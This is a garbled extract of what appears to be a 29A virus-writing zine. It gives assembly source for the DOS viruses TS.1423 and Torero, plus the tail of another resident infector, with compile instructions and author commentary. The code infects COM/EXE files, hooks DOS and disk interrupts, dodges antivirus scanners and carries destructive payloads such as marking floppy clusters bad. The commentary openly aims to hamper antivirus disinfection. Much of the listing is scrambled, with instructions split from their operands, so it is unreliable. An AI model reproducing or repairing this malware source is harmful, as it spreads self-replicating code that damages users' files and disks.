in call cmp mov je call jmp next_port: inc bp loop check_com ; Check next COM check_game: mov dx,201h in al,dx ; Game I/O port call waste_time cmp al,data_game ; Actual byte=Previous byte? je check_keys ; Yes? then jmp call mark_activity check_keys: mov data_game,al ; Store actual byte in al,60h ; AT Keyboard controller 8042. call waste_time test al,80h ; Key pressed? call pop_registers2 jnz inc_tick_counter ; Yes? then jmp call mark_activity inc_tick_counter: push ds push es push bx push cs pop ds inc tick_counter cmp tick_counter,8*18 ; < tick_value secs inactive? tick_value equ word ptr $-2 jb exit_i8 ; Yes? then jmp cmp into_i21,0 ; int 21h active? jnz exit_i8 ; Yes? then jmp cmp inout_flag,0 ; Input/output activity? jnz exit_i8 ; Yes? then jmp les bx,dword ptr ofs_flagdos cmp byte ptr es:[bx],0 ; DOS inactive? jnz exit_i8 ; Yes? then jmp les bx,dword ptr ofs_swpdos cmp byte ptr es:[bx],0 ; DOS swapping? jnz exit_i8 ; Yes? then jmp mov tick_counter,0 ; Reset counter
call or jz cmp jz sub
search_files tick_value,0 exit_i8 word ptr no_mouse,1 exit_i8 tick_value,1*18
; Tick value=0? ; Yes? then jmp ; Mouse present but not checked? ; No? then jmp ; 1 second
exit_i8: pop pop pop iret search_files: call mov call mov mov cmp jne jmp change_dta: mov mov mov mov call cmp je cmp je mov mov test jnz mov jmp search_exe: mov find_first: call jc mov mov rcr cmp jb find_next: mov call jc mov rcr cmp jnb jmp change_ftype: dec mov jmp infect_via_i8:
bx es ds
push_registers2 ah,2Fh int21h ; Get DTA address in ES:BX ax,cs dx,es ax,dx ; Virus already using DTA? change_dta ; No? then jmp exit_sf ds:ofs_dta,bx ds:seg_dta,es ah,1Ah dx,offset(dta) int21h ; fname_waiting,1 ; infect_via_i8 ; searching,1 ; find_next ; ah,4Eh cx,3Fh search_execom,1 ; search_exe ; dx,offset(m_com) find_first
Set DTA Has a file waiting to be infected? Yes? then jmp Search in progress? Yes? then jmp
Searching for COM? Yes? then jmp
dx,offset(m_exe) int21h ; Find first file change_ftype searching,1 ; Mark searching files dx,dta_date ; Get file date dh,1 dh,100 ; Infected? convert_relative ; No? then jmp ah,4Fh int21h ; Find next change_ftype dx,dta_date dh,1 dh,100 ; Infected? find_next ; Yes? then jmp convert_relative
search_execom searching,0 restore_dta
; Next type ; Next time do a find-first
mov call mov jmp
dx,offset(file_name) try_to_infect_file fname_waiting,0 ; Next time do a search restore_dta
convert_relative: mov si,offset(dta_fname) mov di,offset(file_name) push cs pop es mov ah,60h call int21h ; Convert relative path to full path mov fname_waiting,1 ; Next time do an infection jmp restore_dta ; Very stupid jmp!!!! restore_dta: mov mov mov call exit_sf: call ret decrypt_bytes: mov cmp je cmp je cmp je cmp je dec_xor: xor inc loop ret dec_not: not inc loop ret dec_rol: rol inc loop ret dec_inc: inc inc loop ret
disinfect_exe: push pop call mov call mov
ah,1Ah ds,cs:seg_dta dx,cs:ofs_dta int21h
; Restore DTA
pop_registers2
al,code_mask crypt_method,0 dec_xor crypt_method,1 dec_not crypt_method,2 dec_rol crypt_method,3 dec_inc
; ; ; ; ; ; ; ;
XOR encryption? Yes? then jmp NOT encryption? Yes? then jmp ROR encryption Yes? then jmp DEC encryption? Yes? then jmp
[si],al si dec_xor
byte ptr [si] si dec_not
byte ptr [si],1 si dec_rol
byte ptr [si] si dec_inc
cs ds read_header ofs_virus,length_virus-offset(header) lseek ; Lseek to length(file)-1Ch ah,3Fh
mov mov call mov push call mov xor xor call pop mov mov call call ret
cx,1Ch dx,offset(header) int21h ; si,dx si decrypt_bytes ; ax,4200h cx,cx dx,dx int21h ; dx ah,40h cx,1Ch int21h ; truncate_file ;
get_int_vector: push push xor mov mul mov xor mov les pop pop ret
ds si ah,ah si,4 si si,ax ax,ax ds,ax bx,[si] si ds
m_com m_exe
db '*.COM',0 db '*.EXE',0
header: signature partpag pagecnt relocnt hdrsize minmem maxmem reloss relosp chksum exeip relocs tabloff ovr
dw dw dw dw dw dw dw dw dw dw dw dw dw dw
20CDh 0 0 0 0 0 0 0 0 0 0 0 0 0
buffer: ofs_1c seg_1c
dw dw
? ?
_header: _signature _partpag _pagecnt _relocnt _hdrsize _minmem
dw dw dw dw dw dw
? ? ? ? ? ?
Read stored header (encrypted)
Decrypt header
Lseek start
Write original header and truncate file to original length
; Input: al:=int.number
; ds:=0 ; get int vector in es:bx
length_virus:
_maxmem _reloss _relosp _chksum _exeip _relocs _tabloff _ovr
dw dw dw dw dw dw dw dw
? ? ? ? ? ? ? ?
stored_psp clusters_avail stored_drive loading_dos xchg1 tunnel_ok seg_fname xchg2 ofs_fname db
dw dw db db equ equ dw equ dw ?,?
? ? ? ? byte ptr $ byte ptr $ ? byte ptr $+1 ?
_3bytes
db ? seg_psp dw ofs_i21 dw seg_i21 dw ofs_i13 dw seg_i13 dw flags db ticks_disableFD dw ofs_i13_2 dw seg_i13_2 dw ofs_i24 dw seg_i24 dw ofs_i1b dw seg_i1b dw ofs_i23 dw seg_i23 dw ofs_i8 dw seg_i8 dw ofs_i25 dw seg_i25 dw ofs_i26 dw seg_i26 dw ofs_i17 dw seg_i17 dw length_lo dw length_hi dw f_date dw emul_pushf equ f_time dw attribs dw boot_i21 dw filename equ ep_ip dw ep_cs dw db ? db ? db ? db ? point db filename_ext equ seg_stop dw db ?
?,?,?
db
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? word ptr $ ? ? ? word ptr $ ? ; Also filename ? ; 8bytes+'.'+3bytes+0
? ; '.' word ptr $ ?
; 3bytes
db code_mask ofs_dta seg_dta dta: db dta_attr dta_time dta_date dta_sizel dta_sizeh dta_fname inout_flag tick_counter into_i21 fname_waiting search_execom searching no_mouse mouse_checked drive use_ports bit_drive data_com: db db db com_ports: dw dw dw data_game file_name return_dir return_dir2 activity_checks ofs_sft ofs_flagdos seg_flagdos ofs_swpdos seg_swpdos crypt_method jmp_virus ofs_virus i13_5bytes
? db dw dw
end_virdata
equ
sector: jmp_bootcode db sectsize clustsize ressecs fatcnt rootsize totsecs media fatsize trksecs headcnt hidnsec db
db 3 dup(?) 8 dup(?) dw ? db ? dw ? db ? dw ? dw ? db ? dw ? dw ? dw ? dw ? (512-($-offset(sector))) dup(?)
? ? ?
15h dup(?) db ? dw ? dw ? dw ? dw ? db 0dh dup(?) db ? dw ? db ? db ? db ? db ? db ? db ? equ byte ptr $ db ? db ? db ? ; COM1 ? ; COM2 ? ; COM3 ? ; COM4 dw ? ; Address of COM1 ? ; COM2 ? ; COM3 ? ; COM4 db ? db 67 dup(?) dw ? dw ? db ? dw ? dw ? dw ? dw ? dw ? db ? db ? dw ? db 5 dup(?) word ptr $
format_table vstack s_mbr buffer_enc org
$+34h db
vir_end v6000 end
equ equ equ equ
$ $-70h $-70h+1 $+34h
512 dup(?) equ $ ends start
; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
TS.1423 ************************************************************************> Virus disassembly by Tcp Virus : TS.1423 Author: Unknown Where : Spain This is a pretty curious virus i disassembled a few time ago, when 29A wasn't more than a project :) It's well programmed and its best feature is the encryption routine, based on tracing the code via int 1, which makes the virus decryption and disassembly quite difficult. About the rest of the virus, just a little mention about the UMB residency and the payloads (nothing special). I'd describe it as follows: þ þ þ þ þ þ
Infects COM and EXE files on closing (3eh) Encrypted; uses a decryption routine via int 1 Thus, highly antidebugging :) It doesn't infect *AN*.* (Scan, TbScan...) Marks clusters as bad on floppies if the year is above 1995 On friday, if the year is above 1995, changes disk writes to disk verifications
Btw... this source code was fully commented in spanish, but i'm too lazy to translate it and it's easy to understand, so i'll leave it uncommented; if you have any doubt about it, look for me in #virus or e-mail me at [email protected]. Compiling instructions: tasm /m ts1423.asm tlink ts1423.obj exe2bin ts1423.exe ts1423.com
_bytes _parag
equ equ
(header-start)+(_length-start)-(end_decr-start) _bytes/16+1
ts1423
segment byte public assume cs:ts1423, ds:ts1423 org 0
start:
call
get_delta
_mask
db
0
int_1:
xor mov mov xor iret
byte ptr cs:[di],0aah bp,sp di,[bp] byte ptr cs:[di],0aah
get_delta:
pop pushf push push pushf xor mov mov inc mov mov
si ds es ax,ax ds,ax ax,si ax ds:[0004],ax ds:[0006],cs
mov pushf xor mov add popf mov
bp,sp byte ptr [bp-1],1 di,si di,offset end_decr-2 ah,cs:[si]
; First byte, encrypted with aah ; Decrypted instruction ; ; *******************************Å********************** ; ; ³ : db 29h,0eeh,3 ; sub si,3 -> offset int_1 db 21h,0d6h ; mov dx,si db 13h dw offset _length-offset end_decr ; mov cx,offset... db 2bh,0c6h dw offset end_decr ; add si,offset end_decr db 56h ; cld loop_1: db 84h,30h,24h ; xor cs:[si],ah ; Second routine db 0ech ; inc si db 48h,0fah ; loop loop_1 end_decr: db 37h ; popf -> trace off (int_1 inactive) mov cmp je mov add mov add
si,dx cs:[si+file_type],0 com_file ax,cs cs:[si+file_cs],ax ax,cs:[si+file_cs] cs:[si+file_ss],ax
com_file:
mov mov int or jne jmp
bx,'TC' ax,'0.' 21h ax,ax no_resident no_activation
no_resident:
cmp jb mov int
al,5 no_UMB ax,5800h 21h
push mov int
ax ax,5802h 21h
push xor mov mov int
ax dx,dx ax,5803h bx,1 21h
jc mov mov int
UMB_error ax,5801h bx,81h 21h
jc mov mov int
UMB_error bx,_parag ah,48h 21h
UMB_error:
no_UMB:
mem_ok:
y_1995:
jc mov
UMB_error dx,ax
pop xor mov int
bx bh,bh ax,5803h 21h
pop xor mov int
bx bh,bh ax,5801h 21h
mov or jnz
ax,dx ax,ax mem_ok
mov dec mov mov sub mov int
ax,es ax ds,ax bx,ds:[0003] bx,_parag+1 ah,4ah 21h
mov mov int
bx,_parag ah,48h 21h
mov dec mov mov int
es,ax ax ds,ax ah,2ah 21h
mov cmp ja xor
es:year,cl cl,0cah y_1995 al,al
push mov push push pop xor mov rep pop mov mov mov int
ax word ptr ds:[0001],8 si cs ds di,di cx,offset _length movsb si dx,es ds,dx ax,3521h 21h
mov mov mov mov mov int
ds:ofs_int21,bx ds:seg_int21,es es,dx dx,offset int_21 ax,2521h 21h
pop cmp
ax al,5
no_activation:
jne push
no_activation es
mov int
ax,3513h 21h
mov mov pop mov mov int
ds:ofs_int13,bx ds:seg_int13,es es dx,offset int_13 ax,2513h 21h
pop pop cmp je
es ds cs:[si+file_type],0 exec_com
popf cli mov mov sti xor xor xor xor xor xor xor
ss,cs:[si+file_ss] sp,cs:[si+file_sp] ax,ax bx,bx cx,cx dx,dx si,si di,di bp,bp
db dw dw
0eah 0 0
popf add mov push mov rep ret
si,offset bytes_com di,100h di cx,3 movsb
int_21:
cmp je cmp je cmp je cmp je cmp je cmp je cmp je cmp je
ah,30h get_OS ah,57h f_date ah,3ch open_functions ah,5bh open_functions ah,3dh open_functions ah,6ch open_functions ah,3eh close ah,4bh exec
jmp_21:
jmp
dword ptr cs:ofs_int21
call_21:
pushf
file_ip file_cs exec_com:
call
dword ptr cs:ofs_int21
int_ret:
push mov jc and pop iret
bp bp,sp put_error byte ptr [bp+6],0FEh bp
put_error:
or pop iret
byte ptr [bp+6],1 bp
get_OS:
cmp jne cmp jne xor iret
al,'.' jmp_21 bx,'TC' jmp_21 ax,ax
f_date:
or jz xor push push pushf call jc
al,al jmp_21 al,al cx dx
and cmp pop pop mov jnz or
cx,1fh cx,1fh dx cx al,1 jmp_jmp21 cx,1fh
jmp_jmp21:
jmp
jmp_21
error_g_date:
pop pop jmp
dx cx int_ret
open_functions: call call jc pushf call jc
close:
exec:
dword ptr cs:ofs_int21 error_g_date
mark_bad valid_name jmp_21 dword ptr cs:ofs_int21 int_ret
mov jmp
cs:handle,ax int_ret
cmp jne pushf call jc jmp
cs:handle,bx jmp_21
call jc jmp
valid_name jmp_jmp21_2 infection
dword ptr cs:ofs_int21 int_ret infection
jmp_jmp21_2:
jmp
jmp_21
infection:
push push push push push push push push push pop mov call mov int
ax bx cx dx si di ds es cs ds dx,offset file_name get_drive ah,36h 21h
cmp je
ax,0ffffh jmp_end_infect
mul mul or jnz cmp jae
bx cx dx,dx space ax,offset _length space
jmp_end_infect: jmp
end_infect
space:
mov int
ax,3524h 21h
mov mov push pop mov mov int
cs:ofs_int24,bx cs:seg_int24,es cs es dx,offset int_24 ax,2524h 21h
mov mov int
dx,offset file_name ax,4300h 21h
jc mov xor mov int jnc
jmp_set_24 cs:file_attribs,cx cx,cx ax,4301h 21h open_file
jmp_set_24:
jmp
set_24
open_file:
mov pushf call jnc jmp
ax,3d02h
mov call jc
bx,ax get_datetime jmp_jmp_close
file_opened:
dword ptr cs:ofs_int21 file_opened set_attribs
call jc mov mov or jnz cmp jb
lseek_end jmp_jmp_close si,ax di,dx dx,dx valid_length ax,offset _length jmp_jmp_close
call jc mov mov mov int
lseek_start jmp_jmp_close cx,1ch dx,offset header ah,3fh 21h
jc push mov cmp pop jz
jmp_jmp_close di di,dx word ptr [di],'ZM' di exe_infect
mov sub mov add jc mov mov mov cld rep jmp
cs:file_type,0 si,3 cs:jmp_offset,si si,offset _length+3 jmp_jmp_close si,dx di,offset bytes_com cx,3
exe_infect:
mov cmp jne
cs:file_type,1 cs:hdrsize,0 no_hdr_0
jmp_jmp_close:
jmp
jmp_close_file
no_hdr_0:
mov mov mov mov mov mov mov mov sub mov cmp je dec
ax,cs:exe_sp cs:file_sp,ax ax,cs:relo_ss cs:file_ss,ax ax,cs:exe_ip cs:file_ip,ax ax,cs:relo_cs cs:file_cs,ax cs:file_ss,ax ax,cs:page_cnt cs:part_pag,0 no_sub ax
no_sub:
mov mul add adc cmp jne cmp
cx,200h cx ax,cs:part_pag dx,0 ax,si jmp_jmp_close dx,di
valid_length:
movsb exe_com
jne push push add adc mov div
jmp_jmp_close ax dx ax,offset _length dx,0 cx,200h cx
or jz inc
dx,dx no_add ax
mov mov pop pop mov div mov sub mov sub mov mov call jc
cs:page_cnt,ax cs:part_pag,dx dx ax cx,10h cx cs:exe_ip,dx ax,cs:hdrsize cs:relo_cs,ax cs:file_cs,ax cs:relo_ss,ax cs:exe_sp,offset f_stack lseek_start jmp_close_file
mov mov mov int jc
cx,1ch dx,offset header ah,40h 21h jmp_close_file
exe_com:
call jc push xor mov mov or jnz mov
lseek_end jmp_close_file es dx,dx es,dx ah,es:[046ch] ah,ah mask_no_0 ah,43h
mask_no_0:
mov pop mov mov int jnc
cs:_mask,ah es cx,offset end_decr ah,40h 21h no_write_error
no_add:
jmp_close_file: jmp
close_file
no_write_error: mov mov mov mov cld
ah,cs:_mask si,offset end_decr di,offset header cx,offset _length-offset end_decr
loop_encrypt:
lodsb xor mov inc loop
al,ah [di],al di loop_encrypt
mov mov mov int
cx,offset _length-offset end_decr dx,offset header ah,40h 21h
jc cmp je call jc mov mov mov int
set_date cs:file_type,1 set_date lseek_start set_date cx,3 dx,offset jmp_op ah,40h 21h
set_date:
call
set_datetime
close_file:
mov pushf call
ah,3eh
set_attribs:
mov mov mov int
dx,offset file_name cx,cs:file_attribs ax,4301h 21h
set_24:
lds mov int
dx,dword ptr cs:ofs_int24 ax,2524h 21h
end_infect:
pop pop pop pop pop pop pop pop mov cmp je clc jmp
es ds di si dx cx bx ax cs:handle,0ffffh ah,4bh jmp_jmp21_3
jmp_jmp21_3:
jmp
jmp_21
int_24:
xor iret
al,al
int_13:
cmp jne mov
ah,3 no_write ah,4
no_write:
jmp
dword ptr cs:ofs_int13
get_datetime:
push push push mov pushf call jc
ax cx dx ax,5700h
dword ptr cs:ofs_int21
int_ret
dword ptr cs:ofs_int21 no_infect
mov mov and cmp je or jmp
cs:file_date,dx cs:file_time,cx cx,1fh cx,1fh no_infect cs:file_time,1fh end_getdate
no_infect:
stc
end_getdate:
pop pop pop ret
dx cx ax
set_datetime:
push push push mov mov mov pushf call pop pop pop ret
ax cx dx dx,cs:file_date cx,cs:file_time ax,5701h
valid_name:
cmp je stc ret
cs:handle,0ffffh ready
ready:
push push push cmp je mov
ax si di ah,6ch si_ok si,dx
si_ok:
cld mov
di,offset file_name
lodsb cmp jb cmp ja sub
al,'a' no_lowercase al,'z' no_lowercase al,20h
no_lowercase:
mov inc or jnz cmp jne cmp je
cs:[di],al di al,al next_letter cs:[di-3],'MO' no_com_ext cs:[di-5],'C.' valid
no_com_ext:
cmp je cmp
byte ptr cs:[di-6],'N' no_valid cs:[di-3],'EX'
next_letter:
dword ptr cs:ofs_int21 dx cx ax
jne cmp je
no_valid cs:[di-5],'E.' valid
no_valid:
stc
valid:
pop pop pop ret
di si ax
get_drive:
mov xor cmp jne mov and
di,dx dl,dl byte ptr [di+1],':' default_drive dl,[di] dl,1fh
default_drive:
ret
lseek_end:
mov xor mov int ret
ax,4202h cx,cx dx,cx 21h
lseek_start:
mov xor mov int ret
ax,4200h cx,cx dx,cx 21h
mark_bad:
cmp ja ret
cs:year,0cah activation
activation:
push push push push push push push cmp jne mov
ax bx cx dx ds es di ah,6ch no_extended dx,si
no_extended:
call mov dec cmp jne mov int
get_drive al,dl al al,0ffh with_drive ah,19h 21h
with_drive:
cmp ja mov push pop mov mov xor
al,1 no_act byte ptr cs:file_attribs,al cs ds al,byte ptr cs:file_attribs cx,1 dx,dx
next_cluster:
no_act:
bytes_com: file_sp file_ss file_type handle jmp_op
mov int
bx,offset header 25h
add jc mov mov mov mov int
sp,2 no_act al,byte ptr cs:file_attribs dx,[bx+16h] cs:file_time,dx dx,[bx+0eh] 25h
add jc mov add mov
sp,2 no_act cx,200h cx,bx di,bx
mov or add cmp jae or jnz
ax,[di] al,[di+2] di,3 di,cx no_act ax,ax next_cluster
sub mov mov mov mov int
di,3 [di],7ff7h byte ptr [di+2],0ffh al,byte ptr cs:file_attribs cx,1 26h
add jc mov add int
sp,2 no_act al,byte ptr cs:file_attribs dx,cs:file_time 26h
add
sp,2
pop pop pop pop pop pop pop ret
di es ds dx cx bx ax
dw dw db dw db
020cdh 0 0 0 0e9h
dw dw dw dw dw
0 0 0 0 0
_length: jmp_offset ofs_int21 seg_int21 ofs_int24 seg_int24
ofs_int13 seg_int13 year file_attribs file_date file_time file_name header: signature part_pag page_cnt relo_cnt hdrsize minmem maxmem relo_ss exe_sp chksum exe_ip relo_cs
dw dw db dw dw dw db
0 0 0 0 0 0 65 dup (?)
dw dw dw dw dw dw dw dw dw dw dw dw dw dw
0 0 0 0 0 0 0 0 0 0 0 0 0 0
ends end
start
f_stack: ts1423
; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
Torero by Mister Sandman/29A
ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÜÜÜÛÛß ÛÛÛÜÜÜÜ ÛÛÛÛÛÛÛ
ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ßÛÛÛÛÛÛ ÜÜÜÜÛÛÛ ÛÛÛÛÛÛß
ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
Hoho... here you have a new coolio viral technique, especially dedicated to those who think that everything on viruses was invented yet :) This virus ain't a 'powerful' one; in fact, and as i decided to do in this first issue as i hadn't many time, it's a simple infector just written to show this new viral capability, never used before as far as i know. And what is this technique about?, you might ask. Ok... apart from DirII and all its family, we don't know many viruses that store the original header of infected files in other place than the viral code, right? AVV and i were making some researches and suddenly found ten free unused bytes on the directory entry of each file... and this the place where my virus stores the header of every file it infects :) In this way, the AV companies must write some specific routines for disinfecting Torero... this means that the cleaning of our virus is more difficult, which is what we're looking for :) Anyway, as every viral technique, it has some pros and some cons... and the cons consist on the next simple thingy: if someone copies, compresses, or manipulates an infected file, it will have a different directory entry, and then it will be imposible to restore its original header. However, and as this is just a sample virus, i didn't pay much attention to this kinda probabilities, and i just used an idea Wintermute gave me: if the host doesn't find its original header, it will display a message i'm sure you all know: 'This program requires Microsoft Windows.' :) As a last (but not least) feature in this virus, don't forget to have a look at the infection mark, based on using the eigth attribute bit, always empty and unused until now. This is a specially good infection mark for a virus, as it's very simple and doesn't get flagged because of incorrect time stamp and all that shit. Besides, it makes things easier for us when implementing stealth techniques, etc. About the name, i decided to call it 'Torero' because it's a spanish word which means 'bullfighter', often used for telling someone that he or what he did is cool, because toreros are supposed to have the biggest nuts around :) Compiling instructions tasm /m torero.asm tlink torero.obj exe2bin torero.exe torero.com
torero
.286 segment byte public assume cs:torero,ds:torero org 0
torero_start torero_size
label equ
byte torero_end-torero_start
torero_entry: delta_offset:
call pop
delta_offset bp
; Get ë-offset in BP ; for l8r use
set_int_21h:
copy_vector:
sub
bp,offset delta_offset
mov int
ah,30h 21h
; Get DOS version
cmp jne
bx,';)' set_int_21h
; Are we already ; memory resident?
push mov xor mov push push mov retf
cs bx,ds ax,ax ds,ax word ptr ds:[21h*4+2] offset check_host ds,bx
; ; ; ; ;
mov dec mov xor
ax,es ax ds,ax di,di
cmp jna
byte ptr ds:[di],'Y' set_int_21h
sub sub add inc
word ptr ds:[di+3],((torero_size/10h)+2) word ptr ds:[di+12h],((torero_size/10h)+2) ax,word ptr ds:[di+3] ax
mov mov mov mov mov mov inc
ds,ax byte ptr word ptr word ptr word ptr word ptr ax
cld push pop mov mov mov rep
cs ds es,ax cx,torero_size si,bp movsb
Save CS for the host Don't lose DS Jump to the memory copy and restore the host header
; Program's MCB segment
; Is it a Z block?
ds:[di],'Z' ; Mark block as Z ds:[di+1],8 ; System memory ds:[di+3],((torero_size/10h)+1) ds:[di+8],4f44h ; Mark block as owned ds:[di+0ah],0053h ; by DOS (444f53h,0)
; Copy virus to memory
push push retf
es offset copy_vector
push mov mov mov lea movsw movsw
ds ds,cx es,ax si,21h*4 di,old_int_21h
mov mov
word ptr [si-4],offset new_int_21h word ptr [si-2],ax ; Set ours
mov lea
si,13h*4 di,old_int_13h
; Jump to the virus ; copy in memory
; Save int 21h's ; original vector
; Save int 13h's ; original vector
movsw movsw
check_host:
mov mov
word ptr [si-4],offset new_int_13h word ptr [si-2],ax ; Set ours
mov call call call jb
ds,ax open_host get_sft check_mark messed_up
call call cmp jne
read_entry point_entry word ptr ds:[si],0 restore_header
; Read the entry ; Point to the header ; Is it empty?
cmp je
word ptr ds:[si+2],0 messed_up
; Empty too? huh :-( ; File is messed up
es es di,100h di
; ; ; ; ; ; ;
restore_header: pop push mov push movsw movsb
messed_up:
push pop retf
es ds
mov int call
ah,3eh 21h emergency
; ; ; ;
Open the host Get its SFT for our infection mark File is messed up :-(
ES=host segment Store it in the stack file header from the Store the IP DS:SI points to the original header, in the directory entry
; DS=ES ; Jump to the host ; File is messed up... ; close it and show ; the Windows message :)
; **´ Torero's int 13h handler Ã******************************************** new_int_13h:
old_int_13h sector_write:
int_13h_bucle:
cmp je
ah,3 sector_write
; Sector write?
db dw
0eah ?,?
; Jump back to the ; original int 13h
push pushf
ax bx cx
xor mov shl mov or je
ah,ah cl,4 ax,cl cx,ax cx,cx bucle_end
; ; ; ; ;
cmp jne
byte ptr es:[bx+9],'O' more_files
; -O-?
mov sub cmp jne cmp je
al,byte ptr es:[bx+9] al,2 al,byte ptr es:[bx+0ah] more_files al,'M' subtract
Calculate how many files we must test by multiplying the sector number with 10h (entries)
; -OM? ; Then it's a COM
more_files:
add loop
bx,20h int_13h_bucle
; Look for more files ; Look'n'loop :)
bucle_end:
popf pop
cx bx ax
call xor
int_13h ax,ax
; ; ; ;
push pushf
bp ax
pop mov mov
ax bp,sp word ptr ss:[bp+8],ax
pop retf
ax bp 2
cmp je
byte ptr es:[bx],0e5h more_files
; A deleted file... ; bah, skip it
cmp jb
byte ptr es:[bx+0bh],80h more_files
; Infected?
cmp jne
word ptr es:[bx+0ch],0 more_files
; Is the header field ; empty?
cmp jne
word ptr es:[bx+0eh],0 more_files
mov mov
ax,word ptr cs:[header_store] word ptr es:[bx+0ch],ax
xor_and_jump: return_to_int:
subtract:
mov mov jmp
End of the bucle Call the original int 13h and jump to the original int
; Return to the ; original int 13h
; ; ; ax,word ptr cs:[header_store+2] ; word ptr es:[bx+0eh],ax more_files
Ok, let's copy the original file header to the directory entry
; **´ Torero's signature Ã************************************************** signature
db
0dh,0ah,'[Torero €:-) by Mister Sandman/29A]',0dh,0ah
; **´ Torero's int 21h handler Ã******************************************** new_int_21h:
cli cmp ja
ah,6ch real_checks
cmp jb jz
ah,33h real_checks fake_stuff
cmp ja jz
ah,64h fake_stuff real_checks
cmp jz
ah,51h real_checks
cmp jz
ah,62h fake_stuff
cmp
ah,50h
; ; ; ; ; ; ; ; ; ;
This code is stolen from the original DOS kernel handler, so they won't catch us if they don't go further thru the rest of the code of the handler... thanx to Qark for this cool idea :)
fake_stuff:
real_checks:
opening:
jmp_int_21h old_int_21h
jz
real_checks
push nop pop
ax bx cx
cmp jne
ah,30h opening
; (get DOS version)?
mov iret
bx,';)'
; Return the smiley :)
cmp je
ah,3dh file_open
; File opening?
cmp je
ax,4301h new_attribute
; Attribute change?
cmp je
ax,6c00h file_open
; Extended open?
db dw
0eah ?,?
; Jump to the original ; int 21h address
; Shit, shit, shit, ; shit... skip it
cx bx ax
; **´ File open Ã*********************************************************** file_open:
call jmp
infect_file dword ptr cs:[old_int_21h]
; Infection routine ; Jump back to int 21h
; **´ New attribute Ã******************************************************* new_attribute:
mov iret
ah,30h
; Change 43h for 30h ; so it will do nothing
; **´ Infection routine Ã*************************************************** infect_file:
normal_open:
pushf push push
ax bx cx dx si di ds es
; Push registers, flags ; and all that shit
call
set_int_24h
; Set int 24h
cmp jne
ah,6ch normal_open
; Extended open?
mov mov call xchg
dx,si ax,3d00h int_21h bx,ax
; Fix it to DS:DX ; Open the file
push pop
cs ds
; CS=DS
call call jae
get_sft check_mark close_and_pop
; Get file's SFT ; Already infected?
mov mov cmp jne
byte ptr es:[di+2],2 ax,word ptr es:[di+28h] ax,'OC' close_and_pop
; Open mode=r/w ; Check the extension ; of our victim
mov
byte ptr cs:[infecting],1
; File handle in BX
close_and_pop:
mov mov lea call
ah,3fh cx,3 dx,header_store int_21h
; Read the first three ; bytes to our temporal ; header store
mov cmp ja
ax,word ptr es:[di+11h] ax,0ea60h close_and_pop
; File lenght in AX ; Too big file?
push call
ax lseek_end
; Lseek to the end of ; the file
mov mov lea call
ah,40h cx,torero_size dx,torero_start int_21h
; Append our k-r4d ; code :)
pop sub mov call
ax ax,3 word ptr cs:[com_header+1],ax set_marker
call
lseek_start
; Lseek to the start
mov mov lea call
ah,40h cx,3 dx,com_header int_21h
; Write the new header ; in so we'll be always ; executed first ;P
mov sub call
ax,word ptr es:[di+11h] ax,3 lseek_end
; Actual size in AX ; Lseek to the position ; of the original header
mov mov lea call
ah,40h cx,3 dx,garbage int_21h
; Destroy all the info, ; already stored in the ; directory entry };)
mov call
ah,3eh int_21h
; Close the file
call
reset_int_24h
; Reset int 24h
pop pop popf ret
es ds di si dx cx bx ax
; And pop out all the ; shit we pushed b4
; Make the jmp to ; our virus body ; for the new file
; **´ Call to the original int 13h Ã**************************************** int_13h:
pushf call ret
dword ptr cs:[old_int_13h]
; Call the original ; int 13h
; **´ Call to the original int 21h Ã**************************************** int_21h:
pushf call ret
dword ptr cs:[old_int_21h]
; Call the original ; int 21h
; **´ Get SFT in ES:DI Ã**************************************************** get_sft:
push
ax bx
bad_sft:
mov int jc
ax,1220h 2fh bad_sft
; Get job file table ; in ES:DI (DOS 3+)
xor mov mov int
bx,bx ax,1216h bl,byte ptr es:[di] 2fh
; Get the address of ; the specific SFT for ; our handle
pop ret
bx ax
; Pop registers and ; return to the code
; **´ Check our infection mark Ã******************************************** check_mark:
cmp ret
byte ptr es:[di+4],80h
; Compare with the min. ; value of our mark
; **´ Read the directory entry Ã******************************************** read_entry:
push call int
ax bx cx parameters 25h
pop ret
cx cx bx ax
; Load the sector
; **´ Sector loading Ã****************************************************** parameters:
mov mov mov mov mov
ax,word ptr es:[di+1bh] word ptr cs:[control_block],ax ax,word ptr es:[di+1dh] word ptr cs:[control_block+2],ax cx,0ffffh
; ; ; ; ;
Load the sector number in our control block Read a long sector, 4 bytes
push pop
cs ds
; CS=DS
mov mov mov lea
word ptr cs:[control_block+4],1 ; One sector word ptr cs:[control_block+6],offset sector word ptr cs:[control_block+8],cs bx,control_block ; Control block
push lds lodsb pop ret
ds si si,dword ptr es:[di+7]
; Point to the ; DPB
si ds
; **´ Point to the original header Ã**************************************** point_entry:
mov xor
al,byte ptr es:[di+1fh] ah,ah
push mov shl pop
cx cl,5 ax,cl cx
lea add add ret
si,sector si,ax si,0ch
; Guess the entry
; Multiply it*20h
; Calculate its offset ; into the sector and ; move to si+0ch (header)
; **´ Set int 24h Ã********************************************************* set_int_24h:
push push
ax si di ds es
xor mov
ax,ax ds,ax
; Point to the IVT
push pop
cs es
; CS=ES
mov mov cld movsw movsw
si,24h*4 di,offset old_int_24h
; Save the original int ; 24h address and set ; ours l8r
mov mov
word ptr [si-4],offset new_int_24h word ptr [si-2],cs
pop pop ret
es ds di si ax
; **´ Restore int 24h Ã***************************************************** reset_int_24h:
push push
ax si di ds es
xor mov
ax,ax es,ax
; Point to the IVT
push pop
cs ds
; CS=DS
mov mov cld movsw movsw
si,offset old_int_24h di,24h*4
; Restore the original ; int 24h address
pop pop ret
es ds di si ax
; **´ Torero's int 24h handler Ã******************************************** new_int_24h:
mov iret
al,3
; Pass the error code
old_int_24h:
dw
?,?
; Original int 24h
; **´ Set our infection mark Ã********************************************** set_marker:
mov ret
byte ptr es:[di+4],80h
; Attribute bit 8
; **´ Lseek to the start of the file Ã************************************** lseek_start:
mov ret
word ptr es:[di+15h],0
; Read pointer=0
; **´ Lseek to the end of the file Ã****************************************
